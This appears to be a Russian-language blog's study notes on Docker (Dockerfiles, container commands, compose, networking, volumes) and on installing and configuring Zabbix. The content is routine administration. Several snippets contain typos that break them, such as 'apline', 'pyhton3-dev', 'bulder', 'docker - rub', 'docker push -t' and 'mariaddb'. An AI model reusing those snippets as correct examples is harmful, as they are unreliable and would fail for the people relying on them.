0. Создаем папку testfile в каталоге opt и переходим в нее
mkdir /opt/testfile
cd /opt/testfile

1. Создаем файл нашего приложения:
vim app.py
---------- 
print("Hello, world")
----------

2. Создаем Dockerfile:
vim Dockerfile
-------------- 
FROM python:3.6  # используем образ python 3.6
RUN mkdir -p /usr/src/app/ # создаем каталог  /usr/src/app/ 
WORKDIR /usr/src/app/ # указываем рабочий каталог
COPY . /usr/src/app/ # копируем файлы из текущего домашнего каталога в контейнер
CMD ["python", "app.py"] # собственно ради чего мы тут собрались, выполняем наше приложение app.py
-------------- 

3. Производим сборку контейнера из текущего каталога и наш контейнер называем hellow-world
cd /opt/testfile
docker build -t hellow-world . 

4. Проверяем что у нас там собралось:
docker images

5. Запускаем наш контейнер:
docker run hellow-world 

6. После когда наш контейнер отработал мы можем выполнить запуск нашего контейнера уже под другим именем например hello
docker run --name hello hellow-world

7. Посмотреть все отработанные контейнеры и их статус можно командой
docker ps -a 

8. Удаление контейнера
docker rm ID-контейнера

9. Когда у вас например 50 контейнеров удаление может затянутся, "docker ps" умеет выводить ID контейнеров
docker ps -a -q
docker rm $(docker ps -qa)

 

Пример приложения работающего подольше \ бесконечно и запуск его в режиме демона:

0. Редактируем наше приложение:
vim app.py
----------
import time

while True:
      print("hello, World!")
      time.sleep(1)
----------

1. Производим сборку контейнера и запуск (-d запускает контейнер в режиме демона)
docker build -t hello2 . 
docker run --name hello2 -d hello2

2. Проверяем что там у нас работает:
docker ps -a 

3. Для остановки контейнера выполним следующие
docker stop hello2

4. Для запуска контейнера с дальнейшим удалением  после остановки выполнения (docker stop)
docker run --name hello2 -d --rm hello2

Пошли дальше чуть посложнее web приложение:

0. Готовим приложение, создаем каталог, переходим в него и создаем первый файл app.py
mkdir /opt/webp
cd /opt/webp

vim app.py
----------
import os
import json
import datetime
from flask import Flask

app = Flask(__name__)

BASE_FOLDER = os.path.dirname(os.path.abspath(__file__))
RESOURCE_DIR = os.path.join(BASE_FOLDER, "resources")


@app.route('/')
def hello_world():
    with open(os.path.join(RESOURCE_DIR, "response.json")) as f:
        return "%s - %s" % (json.loads(f.read()).get("payload"), datetime.datetime.now().strftime("%d.%m.%Y %H:%M:%S"))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)
------------


1. Готовим Докер файл
vim Dockerfile
--------------
FROM python:3.6 # используем образ python3.6
RUN mkdir -p /usr/src/app/ # создаем каталог в контейнере
WORKDIR /usr/src/app/ # указываем рабочий каталог нашего приложения
COPY . /usr/src/app/ # копируем локальные файлы в контейнер
RUN pip install --no-cache-dir -r requirements.txt # устанавливаем зависимости для python
EXPOSE 8080 #нехрена не пробросит, наши пожелания что мы хотели бы пробросить порт, при запуске укажем что нам нужно
#ENV TZ Europe/Moscow # передаем значение переменно окружения для отображения правильного времени, это можно передать при запуске контейнера
CMD ["python", "app.py"] # выполняем наше приложение
--------------

2. Готовим requirements.txt, файл зависимостей
!!! Если бы без docker для python запуска можно было бы просто выполнить "pip install -r requirements.txt"
vim requirements.txt
--------------------
flask==1.1.1
--------------------

4. Готовим файл с ресурсами 
mkdir resource
vim response.json
-----------------
{
    "payload": "Hello, World!!!."
}
-----------------

5. Собираем контейнер:
docker build -t web-hello . 
docker images 

6. Запуск контейнера и пробрасываем порты:
docker run -d --rm --name web -p 8080:8080 web-hello

7. Передача переменной TZ в контейнер и запуск контейнера:
docker run -d --rm --name web -p 8080:8080 -e TZ=Europe/Moscow web-hello

8. Монтирование локального каталога в докер (!!! Сейчас этот способ менее популярен)
docker run --name hello4 --rm  -p 8080:8080 -v /opt/web-hello/resources:/usr/src/app/resources  web-hello
run - запускаем контейнер
--name hello4 - желаемое имя контейнера
--rm - в случае остановки удалить контейнер
-p 8080:8080 - желаем пробросить порт 8080
-v /opt/web-hello/resources:/usr/src/app/resources - пробросить локальную_папку:в_контейнер
web-hello имя используемого образа для контейнера

9. Использование docker volume
docker volume ls - посмотреть какие доступны виртуальные разделы
docker volume create web - создаем раздел web

Работа с mongodb и введение использование volume

0. Готовим директорию
!!! для локального теста нужно установить pip install pymongo storage  uuid
mkdir /opt/testdb
cd /opt/testdb

1. Создаем файл app.py
----------------------
cat > app.py << "EOF"
import time
from uuid import uuid4
from storage import MongodbService

storage = MongodbService.get_instance()

for _ in range(5):
    dto = {
        "_id": str(uuid4()),
        "payload": str(uuid4()),
        "field2": str(int(time.time()))
    }
    storage.save_data(dto)


for data in storage.get_data():
    print(data)
EOF
----------------------

2. Создаем файл storage.py 
--------------------------
cat > storage.py  << "EOF"
from pymongo import MongoClient
class MongodbService(object):
    _instance = None
    _client = None
    _db = None

    @classmethod
    def get_instance(cls, *args, **kwargs):
        if cls._instance is None:
            cls._instance = super().__new__(cls, *args, **kwargs)
            cls.__init__(cls._instance, *args, **kwargs)
        return cls._instance

    def __init__(self):
        self._client = MongoClient("localhost", 27017)
        self._db = self._client.youtube_db

    def get_data(self):
        return list(self._db.statistics.find())

    def save_data(self, dto):
        return self._db.statistics.insert_one(dto)
EOF
--------------------------

3. Запуск mongo
docker run --rm -d -p 27017:27017 mongo

4. Тестирование нашего приложения
python app.py - будут добавляется данные в базу данных

5. при остановке контейнера данные бд будут удалены
!!! ВНИМАНИЕ НАКОПЛЕННЫЕ ДАННЫЕ БД УДАЛЯТСЯ
docker stop id-mongo


Docker-compose

0. перешли в каталог куда мы скачали docker-compose
1. запустили на выполнение
docker-compose up -d
2. Посмотрели что там 
docker ps -a 
3. Надоело остановили работу
docker-compose down 

Docker-hub push

0. Перешли в каталог с файлами для сборки
1. Выполняем сборку 
docker build -t Ваш_логин_доке_хаб/имя_приложения .
2. Заливаем образ на докер хаб
docker push -t  Ваш_логин_доке_хаб/имя_приложения

Рубрики
docker Конспект

Конспект: Docker

Информация:

Docker - это средство упаковки, доставки и запуска приложения.

https://www.docker.com/ - оф сайт
https://habr.com/ru/post/277699/ - введение
https://www.8host.com/blog/ustanovka-i-ispolzovanie-docker-v-debian-9/ - установка и инструкция
https://linux-notes.org/rabota-s-setju-networking-v-docker/  - установка и инструкция
https://sysadmin.ru/articles/ustanovka-docker-v-linux - установка и инструкция
https://docs.docker.com/docker-for-windows/install/ - установка на windows
https://docs.docker.com/docker-for-mac/install/ - установка на MACOS
https://habr.com/ru/post/277699/

https://www.digitalocean.com/community/tutorials/docker-ru - хороший гайд для новичков

Установка:

Ставить будем на debian 11
apt install docker docker-compose

Основные команды кратко:

# справочная информация
docker --help # список доступных команд
docker  --help # информация по команде
 
docker --version # версия Docker
docker info # общая информация о системе
 
# работа с образами
docker search debian # поиск образов по ключевому слову debian
 
docker pull ubuntu # скачивание последней версии (тег по умолчанию latest) официального образа ubuntu (издатель не указывается) из репозитория по умолчанию docker.io/library
docker pull prom/prometheus # скачивание последней версии (latest) образа prometheus от издателя prom из репозитория docker.io/prom
docker pull docker.io/library/ubuntu:18.04 # скачивание из репозитория docker.io официального образа ubuntu с тегом 18.04
 
docker images # просмотр локальных образов
 
docker rmi : # удаление образа. Вместо : можно указать . 
                              # Для удаления образа все контейнеры на его основе должны быть как минимум остановлены
docker rmi $(docker images -aq) # удаление всех образов
 
# работа с контейнерами
docker run hello-world # Hello, world! в мире контейнеров
docker run -it ubuntu bash # запуск контейнера ubuntu и выполнение команды bash в интерактивном режиме
docker run --name docker-getting-started --publish 8080:80 docker/getting-started # запуск контейнера gettind-started с отображением (маппингом) порта 8080 хоста на порт 80 внутрь контейнера
docker run --detach --name mongodb docker.io/library/mongo:4.4.10 # запуск контейнера mongodb с именем mongodb в фоновом режиме. Данные будут удалены при удалении контейнера!
 
docker ps # просмотр запущенных контейнеров
docker ps -a # просмотр всех контейнеров (в том числе остановленных)
docker stats --no-stream # просмотр статистики
 
docker start alpine # создание контейнера из образа alpine
 
docker start  # запуск созданного контейнера. Вместо  можно указать 
docker start $(docker ps -a -q) # запуск всех созданных контейнеров
 
docker stop  # остановка контейнера. Вместо  можно указать 
docker stop $(docker ps -a -q) # остановка всех контейнеров
 
docker rm  # удаление контейнера. Вместо  можно указать 
docker rm $(docker ps -a -q) # удаление всех контейнеров
 
# система
docker system info # общая информация о системе (соответствует docker info)
docker system df # занятое место на диске
docker system prune -af # удаление неиспользуемых данных и очистка диска


Основные команды подробней:

### https://hub.docker.com/ - тут ищем контейнеры

docker --help - помощь
docker ps - показать бегущие контейнеры
docker ps --all  - показать бегущие контейнеры и остановленные

Загрузка:
docker image ls - показать загруженные образы контейнеров
docker image pull nginx:1.20.1-alpine - скачать контейнер nginx:1.20.1-alpine
docker image pull nginx - скачать контейнер nginx, будет скачан самый последний образ

Запуск:
docker run \
--name nginx \
-v /srv/nginx/:/usr/share/nginx/html \
-p 80:80 \
-d nginx

Запуск:
docker run nginx:1.18 - запуск контейнера nginx:1.18, контейнер будет запущен в текущей консоли
docker run -p 7777:80 nginx - запуск контейнера nginx,
docker run -d -p 7777:80 nginx - запуск в режиме демона 
docker run -d --rm --name nginx -p 8888:80 nginx:1.18 - опция (--rm) говорит о том что при завершение контейнера он будет удален



Подключение:
docker ps -a
docker exec -it ID_CONTEINER bash - подключится к контейнеру ID_CONTEINER, используем bash внутри контейнера
docker exec -it ID_CONTEINER sh - подключится к контейнеру ID_CONTEINER, используем sh внутри контейнера
docker exec -it 263d85d77e14 bash
docker exec -it 263d85d77e14 sh

Информация:
docker ps -a 
docker inspect ID_CONTEINER
docker inspect 2a420e4ceb84
ps - uax |grep docker


Логи:
docker ps -a 
docker logs -f ID_CONTEINER
docker logs -f 12622b1bd1a8


Отключение и удаление контейнеров:
docker ps -a
docker stop ID_CONTEINER
docker rm ID_CONTEINER

Отключение и удаление всех контейнеров:
docker ps -a | awk '{print $1}'
docker stop $(docker ps -a | awk '{print $1}')
docker rm $(docker ps -a | awk '{print $1}')


Docker compose:
mkdir test-docker - создали каталог
cd test-docker/ - перешли в каталог 
vim test.yaml - отредактировали
docker-compose up -d - запуск в режиме демона
docker-compose down - выключить 

Пример создания своего контейнера с python:

0. Создали директорию test0
mkdir test0
cd test0
1. Создали файл app.py 
cat > app.py << "EOF"
print("Hello, World!")
EOF

2. Создали файл Dockerfile
cat > Dockerfile << "EOF"
FROM python:3.6

RUN mkdir -p /usr/src/app/
WORKDIR /usr/src/app/

COPY . /usr/src/app/

CMD ["python", "app.py"]
EOF

3. Выполнили сборку контейнера:
docker build -t hellow-world .

docker пример запуска mariadb + adminer

Скачиваем образ mariadb:
docker pull mariadb 
Смотрим доступные образы:
docker images
Запускаем контейнер  mariadb с параметрами:
-d - запуск в режиме демона
-p - проброс портов
-name - имя контейнера
docker run -p 127.0.0.1:3306:3306 --name mariadb -e MARIADB_ROOT_PASSWORD=superoass -d mariaddb
Проверяем что там запустилось: 
docker ps 
Запускаем контейнер adminer:
--link - просим докер добавить запись в /etc/hosts
docker run --name adminer --link mariadb:db -p 8080:8080 -d adminer
Подключаемся к контейнер:
-ti - команда t термина, команда i не отпускать терминал
docker exec -ti adminer sh
Cмотрим что там у нас в /etc/hosts:
cat /etc/hosts

docker stop
docker rm
docker rmi

Dockerfile

vim Dockerfile
--------------------
# syntax=docker/dockerfile:1
FROM ubuntu:18.04
COPY . /app
RUN make /app
CMD python /app/app.py
---------------------

docker build -f /path/to/a/Dockerfile

dockerfile from python

FROM python

dockerfile from apline + python + 8 слоев

FROM apline

RUN apk add --update-cache
RUN apk add python3
RUN apk add pyhton3-dev
RUN apk add py-pip
RUN apk add build-base
RUN pip install virtualenv
RUN rm -rf /var/cache/apk/*

dockerfile from apline + python + уменьшаем кол-во слоев (2 слоя)

FROM apline

RUN apk add --update-cache \
    python3 \
    pyhton3-dev \
    py-pip \
    build-base \
    && pip install virtualenv \
    && rm -rf /var/cache/apk/*

dockerfile from golang:alpine

FROM golang:apline AS builder

WORKDIR /src

COPY go.mod .
COPY go.sum .

RUN go mod download

COPY main.go

FROM alpine:3.15

WORKDIR /app

COPY --from=bulder /src/hello-docker /app/hello-docker

ENTRYPOINT ["/app/hello-docker"]

Docker compose:

mkdir test-docker - создали каталог
cd test-docker/ - перешли в каталог 
vim test.yaml - отредактировали
-------------------------------------
version: "2.2"

services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}
-------------------------------------
docker-compose up - запустится, ctrl+с прервет выполнение
docker-compose up -d - запустить в режиме демона
docker-compose down - выключить 

!!! Внимание
docker-compose down --volumes - удалит еще и данные контейнера

Чем docker не является

Docker часто путают с Vagrant’ом или OpenVZ, или даже VirtualBox’ом. 
Docker это всего-лишь user-space демон на языке Go, который умело жонглирует уже существующими технологиями ядра Linux. 

Не вагрант
Вагрант занимается тем, что управляет виртуальными машинами (или, более приближенно к теме хостинга, виртуальными серверами). 
Так же как и у docker'а, у вагранта есть целая библиотека образов виртуальных машин, и он как и docker умеет их снепшотить, скачивать и заливать, настраивать и запускать. 
Vagrant управляет полноценными тяжелыми виртуальными машинами запущенными, например, в VirtualBox, VMWare, DigitalOcean, AWS, да где только он их не запускает. 
Шикарная вещь, этот вагрант, если вам нужна полноценная виртуальная машина с состоянием внутри.


Не виртуальная машина
И конечно, docker вовсе не является новой технологией (пара)виртуализации, как например KVM/Qemu, VirtualBox/VMWare/Parallels, XEN, etc. 
Docker-демон (не путать с консольной командой docker) работает только в Линуксе (и скоро в винде) поверх линуксовых же контейнеров. 
А контейнеры, в свою очередь, не являются полноценной виртуальной средой, так как они делят общее запущенное ядро одной физической машины. 

Docker состоит из трех частей:
Docker daemon
Docker
Docker Hub

Docker daemon:

docker daemon — сердце docker'а. 
Это демон работающий на хост-машине и умеющий скачивать и заливать образы, запускать из них контейнеры, 
следить за запущенными контейнерами, собирать логи и настраивать сеть между контейнерами (а с версии 0.8 и между машинами). 
А еще именно демон создает образы контейнеров, хоть и может показаться, что это делает docker-client.

Docker

docker это консольная утилита для управления docker-демоном по HTTP. 
Она устроена очень просто и работает предельно быстро. 
Вопреки заблуждению, управлять демоном docker'а можно откуда угодно, а не только с той же машины. 
В сборке нового образа консольная утилита docker принимает пассивное участие: 
архивирует локальную папку в tar.gz и передает по сети docker-daemon, который и делает всё работу. 
Именно из-за передачи контекста демону по сети лучше собирать тяжелые образы локально.

Docker Hub:

Docker Hub централизованно хранит образы контейнеров. 
Когда вы пишете docker run ruby docker скачивает самый свежий образ с руби именно из публичного репозитория. 
Изначально хаба не было, его добавили уже после очевидного успеха первых двух частей.

Установка:

apt update - обновляем список пакетов
apt upgrade - обновляем пакеты
apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common - устанавливаем пакеты
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" - добавляем репозиторий
apt update - обновляем список пакетов
apt-cache policy docker-ce - проверяем доступность пакетов docker
apt install docker-ce - устанавливаем docker
sudo systemctl status docker - проверяем что docker запущен

Добавление пользователя в группу docker:

usermod -aG docker user_name

Добавление пользователя в группу docker:

$ sudo usermod -aG docker ${USER} - добавить текущего пользователя
$ su - ${USER}
$ id -nG - проверить

docker первые шаги после установки

docker info - общая информация 
docker run hello-world - первая команда которой обычно проверяют успешность установки docker
docker search ubuntu - поиск образов ubuntu
docker images - показать установленные образы


docker ps -a - показать все контейнеры
docker start ID_контейнера
docker stop ID_контейнера


Проверяем что у нас установлено:
https://hub.docker.com/ - репозиторий
sudo docker version - посмотреть версию докера
sudo docker login - выполняем авторизацию на докер
sudo docker images - посмотреть установленные образы
sudo docker ps -a - посмотреть что сейчас выполняется в докер

Еще пример:
docker run -it -p 8080:80 yeasy/simple-web
Флаг -i необходим, чтобы контейнер запустился в интерактивном режиме.
Флаг -t необходим для переноса ввода и вывода в контейнер, то есть если мы используем флаг -t для запуска контейнера мы окажемся внутри него.
Флаг -p создает проброс портов между нашим устройством и контейнером, это необходимо для доступа к сети контейнера. 
В нашем случае для доступа к 80 порту внутри контейнера необходимо обратиться к 8080 порту на нашем устройстве.

docker ps -a - посмотрим какие у нас сейчас есть контейнеры
docker stop   - остановка контейнера 
docker start  - запуск контейнера 
docker rm  - удаление контейнера 

docker help:

attach - Присоедините локальные стандартные потоки ввода, вывода и ошибок к работающему контейнеру
build - Создать образ из Dockerfile
commit - Создать новый образ из изменений контейнера
cp - Копировать файлы / папки между контейнером и локальной файловой системой
create - Создать новый контейнер
diff - Проверять изменения в файлах или каталогах в файловой системе контейнера
events - Получить события в реальном времени с сервера
exec - Запустить команду в работающем контейнере      
export - Экспортировать файловую систему контейнера как архив tar
history - Показать историю изменений
images - Показать доступные образы
import - Импорт содержимое из архива, чтобы создать образ файловой системы
info - Отображение информации о системе ( сколько контейнеров, работает, и т.д.)
inspect - Показать подробную информации об объектах Docker
kill - Завершить один или несколько работающих контейнеров
load - Загрузить образ из архива tar или STDIN
login - вход в реестор Docker
logout - выход из реестра Docker
logs - Получить журналы контейнера       
pause - Приостановить все процессы в одном или нескольких контейнерах
port - Список сопоставлений портов или конкретное сопоставление для контейнера
ps - Список контейнеров
pull - Вытащить изображение или хранилище из реестра
push - Добавить изображение или репозиторий в реестр
rename - Переименовать контейнер
restart - Перезапустите один или несколько контейнеров
rm - Удалить один или несколько контейнеров
rmi - Удалить одно или несколько изображений
run - Запустите команду в новом контейнере
save - Сохраните одно или несколько изображений в архив tar (по умолчанию передается в STDOUT)
search - Поиск образов Docker Hub
start - Запустить один или несколько остановленных контейнеров
stats - Отобразить живой поток статистики использования ресурсов контейнера (ов)
stop - Остановите один или несколько работающих контейнеров
tag - Создать тег TARGET_IMAGE, который ссылается на SOURCE_IMAGE
top - Отобразить запущенные процессы контейнера
unpause - Отмена приостановки всех процессов в одном или нескольких контейнерах
update - Обновить конфигурацию одного или нескольких контейнеров
version - Показать информацию о версии Docker
wait - ???что???Блокируйте, пока один или несколько контейнеров не остановятся, затем напечатайте их коды выхода

Получить список опций конкретной под команды:

docker docker-subcommand --help

docker подключение к контейнеру

docker create -it ubuntu:16.04 bash - создали контейнер
docker ps -a - посмотрели все контейнеры
docker start ИД_контейнера - запустили контейнер
docker attach ИД_контейнера - подключились к контейнеру

docker compose установка:

compose - требуется для сборки контейнеров
https://docs.docker.com/compose/install/ - офф. инструкция

sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version

Создание образа докер:

sudo docker run -it --name Имя_будущего_образа --hostname Имя_будущего_образа ubuntu bash - создаем контейнер с ubuntu и открываем консоль
-----------------------------------------------------------------------------------------
apt update && apt upgrade -y - обновим репозиторий
apt install cowsay - установим нужное приложение
ln -s /usr/games/cowsay /usr/bin/cowsay - !!! создаем символьную ссылку для запуска приложения
exit - входим из контейнера
-----------------------------------------------------------------------------------------

sudo docker commit Имя_будущего_образа Наш_логин_в_докер/Имя_будущего_образа - создаем образ 

sudo docker run Наш_логин_в_докер/Имя_будущего_образа cowsay "LOL" - проверяем работоспособность нашего образа
sudo docker run Наш_логин_в_докер/Имя_образа /usr/games/cowsay "LOL" - !!! если забыли создать символьную ссылку придется написать полный путь до приложения /usr/games/cowsay

sudo docker login - выполняем авторизацию на докер
sudo docker push Наш_логин_в_докер/Имя_будущего_образа - собственно загружаем наш образ в репозиторий докер

Запуск нашего контейнера:

sudo docker run Наш_логин_в_докер/Имя_образа cowsay "TEST"

docker создание образов / докер файл / dockerfile / настройка образа

mkdir Папка_для_образа - создаем папку
cd Папка_для_образа - переходим в папку для образа
touch dockerfile  - создаем файл dockerfile
vim dockerfile - открываем для редактирования
--------------
FROM ubuntu  - определяем ос для образа ( обязательно ) 
RUN apt update && apt upgrade -y && apt install cowsay -y  && ln -s /usr/games/cowsay /usr/bin/cowsay - выполняем установку программы cowsay и настраиваем ее
--------------
sudo docker login - выполняем авторизацию на докер
sudo docker build -t Наш_логин_в_докер/Имя_будущего_образа . - !!!в конце точка!!!  выполняем находясь в каталоге Папка_для_образа и образ будет собран и отправлен в репозиторий

sudo docker run Наш_логин_в_докер/Имя_будущего_образа cowsay "LOL" - проверяем работоспособность нашего образа

модификация образа:

vim dockerfile - открываем для редактирования
--------------
FROM ubuntu  - определяем ос для образа ( обязательно ) 

MAINTAINER имя_автора_образа почта@автора.образа - эта строчка ничего не делает \ инфо для связи с автором образа

RUN apt update && apt upgrade -y && apt install cowsay -y  && ln -s /usr/games/cowsay /usr/bin/cowsay - выполняем установку программы cowsay и настраиваем ее

ENTRYPOINT ["cowsay"]  - указываем точку входа - позволит при запуске ( sudo docker run Наш_логин_в_докер/Имя_будущего_образа cowsay "LOL" ) не писать cowsay
--------------
sudo docker build -t Наш_логин_в_докер/Имя_будущего_образа . - !!!в конце точка!!!  выполняем находясь в каталоге Папка_для_образа и образ будет собран и отправлен в репозиторий
sudo docker run Наш_логин_в_докер/Имя_будущего_образа "LOL" - проверяем работоспособность нашего образа

sudo docker push Наш_логин_в_докер/Имя_будущего_образа -  загружаем наш образ в репозиторий докер / реестор 

Еще пример своего образа sampleapp

0. ставим python и flask
apt install python3
pip3 install flask

1. Создаем каталог
mkdir sample_app.py

2. Переходим в sample_app.py и создаем файл sample_app.py
cd sample_app.py

vim sample_app.py
-----------------
from flask import Flask
from flask import request
from flask import render_template

sample = Flask(__name__)

@sample.route("/")
def main():
    return render_template("index.html") 

if __name__ == "__main__":
    sample.run(host="0.0.0.0", port=8080)
-----------------

3. Cоздание, сборка, запуск контейнера
vim sample_app.sh
#!/bin/bash
-----------
mkdir tempdir
mkdir tempdir/template
mkdir tempdir/static
cp sample_app.py tempdir/.
cp -r templates/* tempdir/templates/.
cp -r static/* tempdir/static/.

echo "From python" >> tempdir/Dockerfile
echo "RUN pip install flask" >> tempdir/Dockerfile

echo "COPY ./static /home/myapp/static" >> tempdir/Dockerfile
echo "COPY ./tamplate /home/myapp/templates/" tempdir/Dockerfile
echo "COPY sample_app.py /home/myapp/" >> tempdir/Dockerfile

echo "EXPOSE 8080" >> tempdir/Dockerfile

echo "CMD python3 /home/myapp/sample_app.py" >> tempdir/Dockerfile

cd tempdir
docker build -t sampleapp .
docker - rub -d -p 8080:8080 --name samplerunning sampleapp
docker ps -a
-----------

4. Запуск скрипта sample_app.sh
bash sample_app.sh

Docker работа с сетью / networking / драйверы:

bridge: 
Мост, — это сетевой драйвер по умолчанию. 
Бридж сеть используется, когда ваши приложения запускаются в автономных контейнерах, 
которые должны взаимодействовать между собой (Наглядный пример Nginx + MySQL).
Лучше всего использовать для связи  нескольких контейнеров на одном и том же Docker хосте. 
Можно юзать docker-compose и выберать даную сеть для такой связки

host:  
Хост, — это сетевой драйвер для автономных контейнеров (удаленная сетевая изоляция между контейнером и Docker хостом). 
Данный драйвер доступен только для docker-swarm с поддержкой Docker 17.06 и выше.
Лучше всего использовать, когда сетевой стек не должен быть изолирован от хоста Docker,
но вы хотите, чтобы другие аспекты контейнера были изолированы.

overlay/overlay2: 
Оверлей (Наложенная сеть), или наложение сетей — это сетевой драйвер для соединения несколько демонов Docker между собой 
и которые позволяют  docker-swarm службам взаимодействовать друг с другом. 
Вы также можете использовать оверлейные сети для облегчения связи между docker-swarm 
и автономным контейнером или между двумя отдельными контейнерами на разных Docker демонах. 
Эта стратегия устраняет необходимость выполнения маршрутизации на уровне ОС между этими контейнерами.
Лучше всего использовать, когда вам нужны контейнеры, работающие на разных Docker хостах для связи, или, 
когда несколько приложений работают вместе, используя docker-swarm.

macvlan: 
Маквлан,- это сетевой драйвер, который позволяют назначать MAC-адрес контейнеру, 
делая его отображаемым как физическое устройство в вашей сети. 
Docker демон направляет трафик на контейнеры по их MAC-адресам. 
Использование macvlan драйвера иногда является лучшим выбором при работе с устаревшими приложениями, 
которые ожидают, что они будут напрямую подключены к физической сети.
Лучше всего использовать, когда вы переходите с VM/дедикейта  на контейнеры или хотите, 
чтобы ваши контейнеры выглядели как физические хосты в вашей сети, каждый с уникальным MAC-адресом.


none:
Нон,- это сетевой драйвер, который умеет отключать всю сеть для контейнеров. 
Обычно используется в сочетании с пользовательским сетевым драйвером.

Network plugins: 
Вы можете установить и использовать сторонние сетевые плагины с Docker контейнерами. 
Эти плагины доступны в Docker Store или у сторонних поставщиков услуг.
Сторонние сетевые плагины позволяют интегрировать Docker со специализированными сетевыми стеками.

docker network ls

docker network ls - просмотреть сети в Docker

NETWORK ID —  При создании сети, ей присваивается ID. Так это собственно идентификатор сети.
NAME — Имя сети. Можно задать произвольное имя.
DRIVER — Используемый драйвер для созданной сети.
SCOPE — Где используется.

docker network create --driver=NAME NAME-NET

docker network create bridge-network - создать сеть bridge-network в Docker (по умолчанию создается bridge)
docker network create --driver=bridge bridge-network  - создать сеть bridge-network в Docker (--driver можно указать  bridge, overlay, host, none )
docker network create -d overlay my-multihost-network - создать сеть оверлей
docker network create --driver=overlay overlay_network - создать сеть оверлей
docker network create -d macvlan --subnet=172.16.86.0/24 --gateway=172.16.86.1 -o parent=eth0 my-macvlan-net - создать сеть macvlan

docker network create --subnet 10.1.0.0/16 --gateway=10.1.0.1 --ip-range 10.1.4.0/24 --driver=bridge --label=host4networks brifge04 - создать сеть bridge
docker run -it --name=test_brifge04 --net brifge04 centos:centos7 /bin/bash - проверка
docker run -it --name=test_brifge04_2 --net brifge04 --ip=10.1.4.100 centos:centos7 /bin/bash - проверка контейнеру даем статический ip

docker network connect | disconnect

docker network connect YOUR_NETWORK YOUR_CONTAINER - подключить контейнер(ы) к сети в Docker
docker network disconnect YOUR_NETWORK YOUR_CONTAINER - отключить контейнер(ы) от сети в Docker

YOUR_NETWORK — Сеть
YOUR_CONTAINER — Контейнер

docker network inspect

docker network inspect bridge-network - позволяет получить подробную информацию о сети с имене bridge-network в  Docker 

docker network rm

docker network rm YOUR_NETWORK - удаление сети YOUR_NETWORK в Docker

docker контейнеры использование внешних каталогов / томов:

Контейнеры или протокол без сохранения состояния?
Каждый контейнер изолирован и не сохраняет состояние. 
Это означает, что после удаления контейнера его содержимое будет удалено навсегда.

docker create -it -v $(pwd):/var/www ubuntu:latest bash

При создании нового контейнера добавьте флаг -v, чтобы указать, какой том создать. 
Эта команда привяжет текущий рабочий каталог на компьютере к директории /var/www внутри контейнера.
Рубрики
syslog \ rsyslog \ zabbix Конспект

Конспект: zabbix

Установка zabbix-server

!!! можно воспользоваться официальной инструкцией 
!!! https://www.zabbix.com/ru/download?zabbix=5.4&os_distribution=debian&os_version=11_bullseye&db=mysql&ws=apache 

0. устанавливаем пакет
apt install zabbix-server-mysql

1. Создаем файл zabbix.sql
nano zabbix.sql
---------------
#drop database zabbix;
create database zabbix character set utf8 collate utf8_bin;
grant all privileges on zabbix.* to zabbix@localhost identified by 'zabbix';
---------------

2. Создаем базу
mysql < zabbix.sql

3. Загружаем таблицы
zcat /usr/share/zabbix-server-mysql/schema.sql.gz | mysql -uzabbix -pzabbix zabbix  
zcat /usr/share/zabbix-server-mysql/images.sql.gz | mysql -uzabbix -pzabbix zabbix
zcat /usr/share/zabbix-server-mysql/data.sql.gz | mysql -uzabbix -pzabbix zabbix

3. Редактируем конфигурацию сервера zabbix
nano /etc/zabbix/zabbix_server.conf
Можно просто вставить в самый конец файла.
-----------------------------------
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix
-----------------------------------

4. Запускаем zabbix
systemctl enable zabbix-server
service zabbix-server start

Установка и запуск web интерфейса

0. Установка пакетов
apt install zabbix-frontend-php php-mysql

1. Редактируем файл и указываем правильную временную зону
/etc/apache2/conf-available/zabbix-frontend-php.conf
----------------------------------------------------
php_value date.timezone Europe/Moscow
----------------------------------------------------

2. Активируем конфиг и перезапускаем zabbix
a2enconf zabbix-frontend-php
service apache2 reload

3. Создаем пустой файл и выдаем на него права для apache2
touch /etc/zabbix/zabbix.conf.php
chown www-data /etc/zabbix/zabbix.conf.php

4. Заходим на веб интерфейс
http://ВАШ_IP_адрес/zabbix/setup.php

5. Проверяем конфиг
less /etc/zabbix/zabbix.conf.php
--------------------------------

Пароль по умолчанию

Логин: Admin
Пароль: zabbix

Что и как мониторит zabbix

Собственно мониторинг начинается тогда когда будет подключен хотя бы один item (Элемент данных)
Т.е. настроенный интерфейс в хосте ни на что не влияет.(почти)

Простые проверки

https://www.zabbix.com/documentation/4.0/ru/manual/config/items/itemtypes/simple_checks - док
Хост может не иметь не одного интерфейса zabbix, но можно выполнять простые проверки.

варианты:
net.tcp.service[http] 
net.tcp.service.perf[http,,8080]
net.tcp.service[ftp,,155]
net.udp.service.perf[ntp]
net.tcp.service.perf[http] - возвращает float (число с точкой)

Пример net.tcp.service.perf[http]
Создаем узел.
Имя узла сети: ya.ru
Группа: любая
Интерфейс любой: главное указать DNS (в нашем случае ya.ru)
Добавляем item (Элемент данных)
Имя: любое
Тип: Simple check(Простая проверка)
Тип информации: Float (Число с точкой)
Интервал обновления: желаемый (30s 10m 9h 300d)

Ну и собственно можем идти наблюдать в в мониторинге -> Последние данные

Также никто нам не запрещает создать узел и в варианте простой проверки указывать следующие:
icmpping[192.168.1.1] - возвращает dec (целое число) (0 - Fulse (не сработала), 1 - True(ок, сработала))
